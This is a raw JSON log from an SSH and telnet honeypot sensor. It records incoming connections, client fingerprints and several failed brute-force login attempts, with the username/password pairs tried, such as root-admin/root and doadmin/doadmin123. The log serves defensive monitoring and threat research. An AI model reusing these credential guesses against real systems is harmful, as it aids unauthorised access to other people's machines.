{"eventid":"cowrie.login.failed","username":"ali","password":"Aa@123456","message":"login attempt [ali/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:35.771443Z","src_ip":"202.125.94.71","session":"d27e4a3fc27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56664,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a5797742c94","protocol":"telnet","message":"New connection: 161.97.105.174:56664 (159.203.135.109:23) [session: 0a5797742c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:35.994951Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:37.042106Z","src_ip":"202.125.94.71","session":"d27e4a3fc27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.79780316352844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:38.571235Z","src_ip":"161.97.105.174","session":"8d282a36878b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01809310913086,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:41.085614Z","src_ip":"161.97.105.174","session":"f8d301d254c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6719114780426,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:41.873436Z","src_ip":"161.97.105.174","session":"031da8346e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.5415415763855,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:43.543199Z","src_ip":"161.97.105.174","session":"817e17c476f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85191226005554,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:45.189331Z","src_ip":"161.97.105.174","session":"3f84d2b1bb53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07151460647583,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:45.377130Z","src_ip":"161.97.105.174","session":"709509323764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46879839897156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:46.784379Z","src_ip":"161.97.105.174","session":"feebe88ee6a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03403306007385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:46.932250Z","src_ip":"161.97.105.174","session":"c750c7337d9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50984,"dst_ip":"159.203.135.109","dst_port":23,"session":"412bb8023806","protocol":"telnet","message":"New connection: 161.97.105.174:50984 (159.203.135.109:23) [session: 412bb8023806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:46.959358Z"}
{"eventid":"cowrie.session.closed","duration":33.30597448348999,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:47.442527Z","src_ip":"161.97.105.174","session":"ad3c7aa50a98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":59918,"dst_ip":"10.17.0.5","dst_port":22,"session":"8348450dafad","protocol":"ssh","message":"New connection: 154.219.100.220:59918 (10.17.0.5:22) [session: 8348450dafad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:47.516998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:47.521708Z","src_ip":"154.219.100.220","session":"8348450dafad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:47.723615Z","src_ip":"154.219.100.220","session":"8348450dafad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50998,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3e3803a217b","protocol":"telnet","message":"New connection: 161.97.105.174:50998 (159.203.135.109:23) [session: e3e3803a217b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:47.853409Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@123","message":"login attempt [git/git@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:48.562794Z","src_ip":"154.219.100.220","session":"8348450dafad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43014,"dst_ip":"159.203.135.109","dst_port":23,"session":"34572a616f80","protocol":"telnet","message":"New connection: 161.97.105.174:43014 (159.203.135.109:23) [session: 34572a616f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:48.605403Z"}
{"eventid":"cowrie.session.closed","duration":33.93307971954346,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:48.808365Z","src_ip":"161.97.105.174","session":"49ee612f0ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75220513343811,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:49.379919Z","src_ip":"161.97.105.174","session":"97b8cd142a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:49.767797Z","src_ip":"154.219.100.220","session":"8348450dafad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43030,"dst_ip":"159.203.135.109","dst_port":23,"session":"38ec6a148e31","protocol":"telnet","message":"New connection: 161.97.105.174:43030 (159.203.135.109:23) [session: 38ec6a148e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:50.455804Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43040,"dst_ip":"159.203.135.109","dst_port":23,"session":"902522e3da81","protocol":"telnet","message":"New connection: 161.97.105.174:43040 (159.203.135.109:23) [session: 902522e3da81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:50.673574Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43054,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe8cc6cbee1e","protocol":"telnet","message":"New connection: 161.97.105.174:43054 (159.203.135.109:23) [session: fe8cc6cbee1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:50.846253Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":6612,"dst_ip":"159.203.135.109","dst_port":22,"session":"b14f335a40d5","protocol":"ssh","message":"New connection: 220.247.224.226:6612 (159.203.135.109:22) [session: b14f335a40d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:58.242800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:58.247414Z","src_ip":"220.247.224.226","session":"b14f335a40d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:58.477507Z","src_ip":"220.247.224.226","session":"b14f335a40d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39822,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d8956293f34","protocol":"telnet","message":"New connection: 161.97.105.174:39822 (159.203.135.109:23) [session: 9d8956293f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:58.911526Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c7db4d2b40d","protocol":"telnet","message":"New connection: 161.97.105.174:39824 (159.203.135.109:23) [session: 3c7db4d2b40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:59.031777Z"}
{"eventid":"cowrie.session.closed","duration":33.024298429489136,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:59.212257Z","src_ip":"161.97.105.174","session":"0deb76a95dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":38086,"dst_ip":"10.17.0.5","dst_port":22,"session":"6831997986ff","protocol":"ssh","message":"New connection: 152.32.130.174:38086 (10.17.0.5:22) [session: 6831997986ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:59.335567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:59.346900Z","src_ip":"152.32.130.174","session":"6831997986ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"xxlx123xxlx","message":"login attempt [ubuntu/xxlx123xxlx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:59.431226Z","src_ip":"220.247.224.226","session":"b14f335a40d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:12:59.567547Z","src_ip":"152.32.130.174","session":"6831997986ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39836,"dst_ip":"159.203.135.109","dst_port":23,"session":"2235dd6c4daa","protocol":"telnet","message":"New connection: 161.97.105.174:39836 (159.203.135.109:23) [session: 2235dd6c4daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:00.005669Z"}
{"eventid":"cowrie.session.closed","duration":31.699334621429443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:00.425031Z","src_ip":"161.97.105.174","session":"a3a5753d2576","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root-admin","password":"root","message":"login attempt [root-admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:00.478944Z","src_ip":"152.32.130.174","session":"6831997986ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:00.666500Z","src_ip":"220.247.224.226","session":"b14f335a40d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:01.704033Z","src_ip":"152.32.130.174","session":"6831997986ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39838,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f3f7d6fe62c","protocol":"telnet","message":"New connection: 161.97.105.174:39838 (159.203.135.109:23) [session: 1f3f7d6fe62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:02.520755Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39852,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc48f1e7857a","protocol":"telnet","message":"New connection: 161.97.105.174:39852 (159.203.135.109:23) [session: bc48f1e7857a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:02.733273Z"}
{"eventid":"cowrie.session.closed","duration":33.24490308761597,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:03.970367Z","src_ip":"161.97.105.174","session":"be8f3d4e0535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05772113800049,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:04.127166Z","src_ip":"161.97.105.174","session":"335acc17dc3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":55284,"dst_ip":"10.17.0.5","dst_port":22,"session":"f87bd60efafc","protocol":"ssh","message":"New connection: 200.187.71.114:55284 (10.17.0.5:22) [session: f87bd60efafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:07.828287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:07.833274Z","src_ip":"200.187.71.114","session":"f87bd60efafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:07.947929Z","src_ip":"200.187.71.114","session":"f87bd60efafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doadmin","password":"doadmin123","message":"login attempt [doadmin/doadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:08.436104Z","src_ip":"200.187.71.114","session":"f87bd60efafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.78791880607605,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:08.782745Z","src_ip":"161.97.105.174","session":"0a5797742c94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:09.553470Z","src_ip":"200.187.71.114","session":"f87bd60efafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":44858,"dst_ip":"159.203.135.109","dst_port":22,"session":"2baba37d7cb4","protocol":"ssh","message":"New connection: 200.118.150.20:44858 (159.203.135.109:22) [session: 2baba37d7cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:09.620591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:09.745386Z","src_ip":"200.118.150.20","session":"2baba37d7cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:09.828796Z","src_ip":"200.118.150.20","session":"2baba37d7cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test4","password":"test","message":"login attempt [test4/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:10.206020Z","src_ip":"200.118.150.20","session":"2baba37d7cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.51567339897156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:11.233972Z","src_ip":"161.97.105.174","session":"d014d7bcf4f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:11.295101Z","src_ip":"200.118.150.20","session":"2baba37d7cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56974,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbc31e7f8ecf","protocol":"telnet","message":"New connection: 161.97.105.174:56974 (159.203.135.109:23) [session: cbc31e7f8ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:12.362783Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56980,"dst_ip":"159.203.135.109","dst_port":23,"session":"c17e8571ea2e","protocol":"telnet","message":"New connection: 161.97.105.174:56980 (159.203.135.109:23) [session: c17e8571ea2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:13:12.612267Z"}
